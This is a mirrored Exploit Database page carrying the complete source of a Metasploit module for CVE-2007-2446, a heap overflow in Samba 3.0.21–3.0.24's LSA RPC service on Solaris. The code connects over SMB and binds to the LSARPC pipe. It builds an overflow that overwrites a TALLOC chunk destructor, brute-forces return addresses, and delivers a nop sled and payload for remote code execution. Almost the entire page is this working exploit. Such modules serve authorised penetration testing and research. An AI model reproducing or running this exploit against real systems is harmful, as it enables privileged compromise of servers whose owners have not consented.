Samba 3.0.24 (Solaris) – ‘lsa_io_trans_names’ Heap Overflow (Metasploit)

• Exploit Database
• 95 阅读

• 作者： Metasploit
  日期： 2010-04-05
• 类别：

  • remote
  平台：

  • solaris
• 来源：https://www.exploit-db.com/exploits/16329/

• ##
  # $Id: lsa_transnames_heap.rb 9021 2010-04-05 23:34:10Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::DCERPC
  	include Msf::Exploit::Remote::SMB
  	include Msf::Exploit::Brute
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Samba lsa_io_trans_names Heap Overflow',
  			'Description'=> %q{
  				This module triggers a heap overflow in the LSA RPC service
  			of the Samba daemon. This module uses the TALLOC chunk overwrite
  			method (credit Ramon and Adriano), which only works with Samba
  			versions 3.0.21-3.0.24. Additionally, this module will not work
  			when the Samba "log level" parameter is higher than "2".
  			},
  			'Author' =>
  				[
  					'ramon',
  					'Adriano Lima <adriano@risesecurity.org>',
  					'hdm'
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9021 $',
  			'References' =>
  				[
  					['CVE', '2007-2446'],
  					['OSVDB', '34699'],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1024,
  				},
  			'Platform' => 'solaris',
  			'Targets'=>
  				[
  					['Solaris 8/9/10 x86 Samba 3.0.21-3.0.24',
  					{
  						'Platform'=> 'solaris',
  						'Arch'=> [ ARCH_X86 ],
  						'Nops'=> 64 * 1024,
  						'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x082f2000 },
  								'Stop'=> { 'Ret' => 0x084f2000 },
  								'Step'=> 60 * 1024,
  							}
  					}
  					],
  					['Solaris 8/9/10 SPARC Samba 3.0.21-3.0.24',
  					{
  						'Platform'=> 'solaris',
  						'Arch'=> [ ARCH_SPARC ],
  						'Nops'=> 64 * 1024,
  						'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0x00322000 },
  								'Stop'=> { 'Ret' => 0x00722000 },
  								'Step'=> 60 * 1024,
  							}
  					}
  					],
  					['DEBUG',
  					{
  						'Platform'=> 'solaris',
  						'Arch'=> [ ARCH_X86 ],
  						'Nops'=> 64 * 1024,
  						'Bruteforce' =>
  							{
  								'Start' => { 'Ret' => 0xaabbccdd },
  								'Stop'=> { 'Ret' => 0xaabbccdd },
  								'Step'=> 60 * 1024,
  							}
  					}
  					],
  				],
  			'DisclosureDate' => 'May 14 2007',
  			'DefaultTarget'=> 0
  			))
  
  		register_options(
  			[
  				OptString.new('SMBPIPE', [ true,"The pipe name to use", 'LSARPC']),
  			], self.class)
  
  	end
  
  	# Need to perform target detection
  	def autofilter
  		false
  	end
  
  	def brute_exploit(target_addrs)
  
  		if(not @nops)
  			if (target['Nops'] > 0)
  				print_status("Creating nop sled....")
  				@nops = make_nops(target['Nops'])
  			else
  				@nops = ''
  			end
  		end
  
  		print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
  
  		nops = @nops
  		pipe = datastore['SMBPIPE'].downcase
  
  		print_status("Connecting to the SMB service...")
  		connect()
  		smb_login()
  
  		datastore['DCERPC::fake_bind_multi'] = false
  
  		handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
  		print_status("Binding to #{handle} ...")
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		num_entries= 272
  		num_entries2 = 288
  
  		#
  		# First talloc_chunk
  		# 16 bits align
  		# 16 bits sid_name_use
  		# 16 bits uni_str_len
  		# 16 bits uni_max_len
  		# 32 bits buffer
  		# 32 bits domain_idx
  		#
  		buf = (('A' * 16) * num_entries)
  
  		# Padding
  		buf << 'A' * 8
  
  		# TALLOC_MAGIC
  		talloc_magic = "\x70\xec\x14\xe8"
  
  		# Second talloc_chunk header
  		buf << 'A' * 8 # next, prev
  		buf << NDR.long(0) + NDR.long(0) # parent, child
  		buf << NDR.long(0) # refs
  		buf << [target_addrs['Ret']].pack('V') # destructor
  		buf << 'A' * 4 # name
  		buf << 'A' * 4 # size
  		buf << talloc_magic# flags
  
  		stub = lsa_open_policy(dcerpc)
  
  		stub << NDR.long(0)# num_entries
  		stub << NDR.long(0)# ptr_sid_enum
  		stub << NDR.long(num_entries)# num_entries
  		stub << NDR.long(0x20004)# ptr_trans_names
  		stub << NDR.long(num_entries2) # num_entries2
  		stub << buf
  		stub << nops
  		stub << payload.encoded
  
  		print_status("Calling the vulnerable function...")
  
  		begin
  			# LsarLookupSids
  			dcerpc.call(0x0f, stub)
  		rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
  			print_status('Server did not respond, this is expected')
  		rescue Rex::Proto::DCERPC::Exceptions::Fault
  			print_error('Server is most likely patched...')
  		rescue => e
  			if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
  				print_status('Server disconnected, this is expected')
  			else
  				print_error("Error: #{e.class}: #{e}")
  			end
  		end
  
  		handler
  		disconnect
  	end
  
  	def lsa_open_policy(dcerpc, server="\\")
  		stubdata =
  			# Server
  			NDR.uwstring(server) +
  			# Object Attributes
  				NDR.long(24) + # SIZE
  				NDR.long(0)+ # LSPTR
  				NDR.long(0)+ # NAME
  				NDR.long(0)+ # ATTRS
  				NDR.long(0)+ # SEC DES
  					# LSA QOS PTR
  					NDR.long(1)+ # Referent
  					NDR.long(12) + # Length
  					NDR.long(2)+ # Impersonation
  					NDR.long(1)+ # Context Tracking
  					NDR.long(0)+ # Effective Only
  			# Access Mask
  			NDR.long(0x02000000)
  
  		res = dcerpc.call(6, stubdata)
  
  		dcerpc.last_response.stub_data[0,20]
  	end
  
  
  end
  

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